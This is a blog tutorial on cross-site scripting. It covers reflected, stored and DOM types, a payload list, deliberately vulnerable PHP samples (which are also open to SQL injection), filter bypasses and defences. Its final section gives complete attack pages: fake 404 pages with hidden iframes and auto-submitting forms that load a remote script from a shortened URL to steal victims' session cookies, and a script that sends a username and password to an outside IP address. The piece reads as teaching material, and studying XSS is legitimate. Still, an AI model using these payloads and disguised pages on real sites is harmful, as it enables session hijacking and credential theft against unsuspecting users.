Detailed explanation of web vulnerability XSS (cross site attack script)

Posted by kagedwebdesign on Thu, 13 Jan 2022 03:01:33 +0100

Detailed explanation of XSS (cross site scripting attack)

catalogue

  • Principle and classification of XSS
  • XSS attack payload
  • Where can XSS be plugged in?
  • XSS vulnerability mining
  • XSS attack process
  • Harm of XSS vulnerability
  • Simple attack test of XSS vulnerability
  • Reflective XSS:
  • Storage XSS:
  • DOM type XSS:
  • Simple filtering and bypassing of XSS
  • XSS defense
  • Utilization posture of reflective XSS
  • get type
  • post type
  • Use JS to send user information to the background

Principle and classification of XSS

Cross site scripting attack XSS(Cross Site Scripting). In order not to be confused with the abbreviation of cascading style sheets (CSS), cross site scripting attack is abbreviated as XSS. Malicious attackers insert malicious Script code into the Web page. When users browse the page, the Script code embedded in the Web will be executed, so as to achieve the purpose of malicious attacks on users. XSS attacks are targeted at user level attacks! XSS is divided into storage type, reflection type and DOM type

Storage XSS: storage XSS is persistent. Codes are stored in the server. For example, insert codes in personal information or published articles. If there is no filtering or the filtering is not strict, these codes will be stored in the server, and the code execution will be triggered when the user accesses the page. This XSS is dangerous, easy to cause worms and steal cookie s Reflective XSS: non persistent. Users need to be deceived to click the link to trigger XSS code (there are no such pages and contents in the server). It is generally easy to appear on the search page. Reflective XSS is mostly used to steal user Cookie information. DOM type XSS: without going through the back end, DOM-XSS vulnerability is a vulnerability based on document object model (DOM). DOM-XSS is triggered by controlling parameters passed in through url. In fact, it also belongs to reflective XSS. Detailed explanation of DOM: DOM document object model

Properties that may trigger DOM type XSS

document.referer
window.name
location
innerHTML
documen.write

As shown in the figure, we pass in the value of the parameter in the URL, and then the client page uses the DOM method to obtain the value of the parameter in the URL through the js script, and then assigns the value to the selection list through the DOM method. This process is completely completed at the front end without going through the back end. Therefore, we can do something with the parameters we enter.

XSS attack payload

The > of all the following tags can be replaced by / /, for example, < script > alert (1) < / script//

< script > tag: < script > tag is the most direct XSS payload. Script tag can refer to external JavaScript code or insert code into script tag

<script>alert("hack")</script>   #Pop up hack
<script>alert(/hack/)</script>   #Pop up hack
<script>alert(1)</script>        #Pop up 1. No quotation marks can be used for numbers
<script>alert(document.cookie)</script>      #Pop up cookie
<script src=http://xxx. com/xss. JS > < / script > # reference external XSS

svg tag 

<svg onload="alert(1)">
<svg onload="alert(1)"//

< img > label:

<img  src=1  οnerrοr=alert("hack")>
<img  src=1  οnerrοr=alert(document.cookie)>  #Pop up cookie

<body>Label:

<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>

video tag:

<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

style label:

<style οnlοad=alert(1)></style>

Where can XSS be plugged in?

  • User input as script tag content
  • User input as HTML comment content
  • The user enters an attribute name as an HTML tag
  • The user enters an attribute value as an HTML tag
  • The user enters a name as an HTML tag
  • Insert directly into CSS
  • Most importantly, never introduce any untrusted third-party JavaScript into the page!
#User input is used as HTML comment content, which allows an attacker to perform a closed bypass
<!-- User input -->
<!-- --><script>alert('hack')</script><!-- -->
 
#User input as tag attribute name, which allows attackers to bypass
<div User input="xx">  </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>
 
#User input as a tag attribute value allows an attacker to perform a closed bypass
<div id="User input"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>
 
#User input as tag name allows attackers to perform closed bypasses
<User input  id="xx" />
<><script>alert('hack')</script><b id="xx" />
 
#User input is used as CSS content, which allows attackers to perform closed bypasses
<style>User input<style>
<style> </style><script>alert('hack')</script><style> </style>

XSS vulnerability mining

Black box test

Try to find all places that can be controlled by the user and output in the page code, such as the following:

  • Each parameter of the URL
  • URL itself
  • form
  • Search box

Common business scenarios

  • Hardest hit areas: comment area, message area, personal information, order information, etc
  • Targeted: in station message, web instant messaging, private message and opinion feedback
  • Risks: search box, current directory, picture attributes, etc

White box test (code audit)

The code audit of XSS mainly starts from the place where the parameters are received and some keywords.

The common ways to receive parameters in PHP are_ GET,_ POST,

You can also search for output statements such as echo to track where the output variables come from, whether we can control them, if they are taken from the database, whether they can control the data stored in the database, whether they are filtered before they are stored in the database, and so on.

Most programs will uniformly call the functions that receive parameters encapsulated in public files. We need to audit these public functions to see if they are filtered, whether they can be bypassed, and so on.

Similarly, DOM injection can search some keywords of js operation DOM elements for audit.

XSS attack process

Reflective XSS vulnerability:

  1. Alice often browses a website owned by Bob. Bob's site requires Alice to log in with a user name / password and stores Alice's sensitive information (such as bank account information).
  2. Tom found that Bob's site has a reflective XSS vulnerability
  3. Tom uses the reflective XSS vulnerability of Bob's website to write an exp in the form of a link, and uses various means to induce Alice to click
  4. After logging in to Bob's site, Alice browsed the malicious link provided by Tom
  5. The malicious script embedded in the malicious link is executed in Alice's browser. This script steals sensitive information (cookie s, account information, etc.). Then Alice sends this information to Tom without Alice's knowledge.
  6. Tom can log in to Bob's site as Alice by using the obtained cookie. If the script is more powerful, Tom can also control Alice's browser and further exploit the vulnerability control

Storage XSS vulnerability:

  1. Bob has a Web site that allows users to publish / browse published information.
  2. Tom detected that Bob's site has a storage XSS vulnerability.
  3. Tom publishes a hotspot information with malicious script on Bob's website, which is stored in Bob's server database, and then attracts other users to read the hotspot information.
  4. After Bob or any other person such as Alice browses the information, Tom's malicious script will execute.
  5. After Tom's malicious script is executed, Tom can launch an XSS attack on the user of the browser page

Harm of XSS vulnerability

From the above, we can know that storage XSS is the most harmful. Because it is stored on the server, we do not need any contact with the attacker. As long as the attacker accesses the page, he will be attacked. Reflective and DOM XSS require us to induce users to click on the malicious URL we construct, and we need to have direct or indirect contact with users, such as using social engineering or hanging horses on other web pages.

So what can you do with XSS vulnerabilities?

If our JS level is average, we can use the online free XSS platform to construct code to attack.

Simple attack test of XSS vulnerability

Reflective XSS:

Release the source code first

//Front end 1 html: 
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>Reflex type XSS</title>
</head>
<body>
    <form action="action.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="Submit">
    </form>
</body>
</html>
 
//Back end action php: 
<?php
    $name=$_POST["name"]; 
  echo $name;
?>

Here is a page submitted by users. Users can submit data here, and submit the data to the background for processing

Therefore, we can submit data in the input box: < script > alert ('hack ') < / script > to see what will happen

The page of hack pops up directly. You can see that the statement we inserted has been executed by the page. This is the most basic reflective XSS vulnerability. The data flow of this vulnerability is: front end -- > back end -- > front end

Storage XSS:

Give the source code first

//Front end: 2 html
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>Storage type XSS</title>
</head>
<body>
    <form action="action2.php" method="post">
        Enter your ID: <input type="text" name="id" /> <br/>
        Enter your Name: <input type="text" name="name" /> <br/>
        <input type="submit" value="Submit">
    </form>
</body>
</html>
//Back end: action2 php
<?php
  $id=$_POST["id"];
  $name=$_POST["name"];
  mysql_connect("localhost","root","root");
  mysql_select_db("test");
  
  $sql="insert into xss value ($id,'$name')";
  $result=mysql_query($sql);
?>
//Page for other users: show2 php
<?php
  mysql_connect("localhost","root","root");
  mysql_select_db("test");
  $sql="select * from xss where id=1";
  $result=mysql_query($sql);
  while($row=mysql_fetch_array($result)){
    echo $row['name'];
  }
?>

Here is a page submitted by the user. After the data is submitted to the back-end, the back-end is stored in the database. Then, when other users access another page, the back end calls out the data and displays it to another user, and the XSS code is executed.

We enter 1 and < script > alert (\'hack \ '< / script >. Note that the single quotation mark of hack here should be escaped. Because $name in sql statement is single quotation mark, if it is not escaped here, the single quotation mark in sql statement will be closed. Or it won't go in. After submitting, let's look at the database

You can see that our XSS statement has been inserted into the database

Then when other users access show2 PHP page, the XSS code we inserted is executed. The data flow direction of storage XSS is: front end -- > back end -- > Database -- > back end -- > front end

DOM type XSS:

Put the source code first

// Front end 3 html
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>DOM type XSS</title>
</head>
<body>
    <form action="action3.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="Submit">
    </form>
</body>
</html>
// Backend action3 php
<?php
  $name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
  var text=document.getElementById("text");
  var print=document.getElementById("print");
  print.innerHTML=text.value;  // Get the value of text and output it in print. Here is the main reason for xss.
</script>

Here is a page submitted by users. Users can submit data here, and submit the data to the background for processing

We can enter < img SRC = 1 oneror = alert ('hack ') >, and then see the changes of the page

The page of hack pops up directly. You can see that the statement we inserted has been executed by the page. This is the DOM XSS vulnerability. The data flow of this vulnerability is: front-end -- > browser

Simple filtering and bypassing of XSS

When we talked about sql injection earlier, we talked about some filtering of sql injection by the program ape. We use some functions (such as preg_replace()) to filter some characters constituting sql statements to prevent injection. Then, the program can also use some functions to filter some key characters that make up XSS code. However, the Tao is a foot higher than the devil. Although it is filtered, it can still be filtered and bypassed to achieve the purpose of XSS attack.

1: Case sensitive filter labels

Put the source code first

//Front end 1 html: 
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>Reflex type XSS</title>
</head>
<body>
    <form action="action4.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="Submit">
    </form>
</body>
</html>
 
//Backend action4 php: 
<?php
$name=$_POST["name"]; 
if($name!=null){
  $name=preg_replace("/<script>/","",$name);      //Filter < script >
  $name=preg_replace("/<\/script>/","",$name);   //Filter < / script >
  echo $name; 
}
?>

Bypass technique: you can use case to bypass < scriptt > alert ('hack ') < / scriptt >

2: Case insensitive filter labels

Put the source code first

$name=preg_replace("/<script>/i","",$name);    //Case insensitive filtering < script >
$name=preg_replace("/<\/script>/i","",$name);  //Case insensitive filtering < / script >

This is as like as two peas, but only one i is added to filter, which is not case sensitive.

Bypass technique: you can use nested script tags to bypass < SCR < script > IPT > alert ('hack ') < / SCR < / script > IPT >

3: Case insensitive, filtering all content between

Put the source code first

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //Filter everything between < script and

This is as like as two peas, but the filtering conditions are changed.

Although XSS code cannot be injected with < script > tags, malicious js code can be injected through events of img, body and other tags or src of iframe and other tags.

payload: <img src=1 onerror=alert('hack')>

We can enter < img SRC = 1 oneror = alert ('hack ') >, and then see the changes of the page

XSS defense

The general idea of XSS defense is to filter the user's input (and URL parameters) and html code the output. That is, filter all the contents submitted by the user, filter the parameters in the URL, and filter out the relevant contents that will lead to the execution of the script; Then html code the content dynamically output to the page, so that the script cannot be executed in the browser.

Filtering the input content can be divided into blacklist filtering and whitelist filtering. Although blacklist filtering can intercept most XSS attacks, it still has the risk of being bypassed. Although white list filtering can basically eliminate XSS attacks, such strict white list filtering can not be carried out in the real environment.

html coding of the output is to html code the user's input data through functions, so that it cannot be run as a script.

As follows, the name parameter entered by the user is html encoded using the htmlspecialchars function in php and converted into an html entity

#Use the htmlspecialchars function to html encode the name parameter entered by the user and convert it into an html entity
$name = htmlspecialchars( $_GET[ 'name' ] );

As follows, figure 1 is not html coded, and Figure 2 is html coded. After html encoding, the script tag is treated as an html entity.

We can also set the HTTP Only attribute of the session Cookie on the server, so that the JS script on the client cannot obtain the Cookie information

Utilization posture of reflective XSS

We now find that a website has reflective XSS. When a user logs in to the website, we steal the user's Cookie and send it to us by enticing the user to click on the malicious link we have carefully made, and then we use the stolen Cookie to log in to the user's website as the user.

get type

When we enter the request type of the parameter, the get type, that is, the parameter we enter is in the form of URL parameter. As shown below

The of this link is: http://127.0.0.1/vulnerabilities/xss_r/?name= <script>alert(/xss/)</script>

So, how do we construct malicious code to entice users to click, and users will not find that they have clicked the malicious link after clicking?

We constructed the following code, saved it as an html page, and then put it on our own server to make a link. When the user logs in to the vulnerable website and clicks the malicious link constructed by us, the link page will secretly open the iframe framework. Iframe will access the link and then execute our js code. The js code will send the cookie of the vulnerable website to our platform, but the user doesn't know it. He will find that a 404 page is opened!

<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>404 Page does not exist </title>
    <style type="text/css">
        body{font:14px/1.5 'Microsoft YaHei','Microsoft YaHei ',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
        .error-page{background:#f0f1f3;padding:80px 0 180px}
        .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
        .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
        .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
</head>
<body>
<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
<div class="error-page">
    <div class="error-page-container">
        <div class="error-page-main">
            <h3>
                <strong>404</strong>Sorry, the page you want to visit does not exist!
            </h3> 
        </div>
    </div>
</div>
</body>
</html>

Our XSS platform will get the user's Cookie, and then we can use the Cookie to visit the website as a user.

Note: our attack code can be exploited on the premise that the X-Frame-options of the website with XSS vulnerability is not configured, and the session Cookie does not set the Http Only attribute

post type

We now know that there is a reflective XSS vulnerability in the user name input box of a website

Let's grab the bag and check

We constructed the following code, saved it as an html page, and then put it on our own server to make a link. When the user logs in to the vulnerable website and clicks the malicious link constructed by us, the page of the malicious link will execute js code and complete the submission of the form. The user name parameter of the form is our malicious js code. After submitting the form, the js code will send the cookie of the vulnerable website to our platform, but the user doesn't know it. He will find that a 404 page is opened.

We wrote a 404 page here. A form submitted by the form is hidden in the 404 page. In order to prevent jumping after submitting the form, we added an iframe framework under the form, and the name of the iframe framework is equal to the target of the form, and we set the iframe framework invisible.

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>404 Page does not exist </title>
    <style type="text/css">
        body{font:14px/1.5 'Microsoft YaHei','Microsoft YaHei ',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
        .error-page{background:#f0f1f3;padding:80px 0 180px}
        .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
        .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
        .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
     <script type="text/javascript">
        function attack()
{
            document.getElementById("transfer").submit();
        }
</script>
</head>
<body>
<iframe src="form.html" frameborder="0" style="display: none"></iframe>
<div class="error-page">
    <div class="error-page-container">
        <div class="error-page-main">
            <h3>
                <strong>404</strong>Sorry, the page you want to visit does not exist!
            </h3>
        </div>
    </div>
    <form method="POST" id="transfer"  action="http://127.0.0.1/xss/action.php" target="frameName">
         <input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">
         <input type="hidden" name="password" value="1">
    </form>
    <iframe src="" frameborder="0" name="frameName" style="display: none"></iframe>
</div>
</body>
</html>

When the user clicks the malicious link constructed by us, it is found that a 404 page opens. In fact, this page secretly submits the form.

Our XSS platform also received the data sent (the reason why there are no cookies in the data is that I didn't set cookies on this website, but just wrote a page casually).

Use JS to send user information to the background

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
    <script>
        $(function(){
            //Let's now assume that user and pass are the user name and password of the user we obtained using js
            user="admin";
            pass="root";
            url="http://120.79.74.249:8080/?user="+user+"&pass="+pass;
            var frame=$("<iframe>");
            frame.attr("src",url);
            frame.attr("style","display:none");
            $("#body").append(frame); / / add an iframe framework and set it not to display. This framework will secretly access the link.
        });
</script>
</head>
<body id="body">
    <h3>hello,word!</h3>
</body>
</html>

When the user accesses this page, we can see the user access record in the background.

Hot Topics

©2025 Programmer Think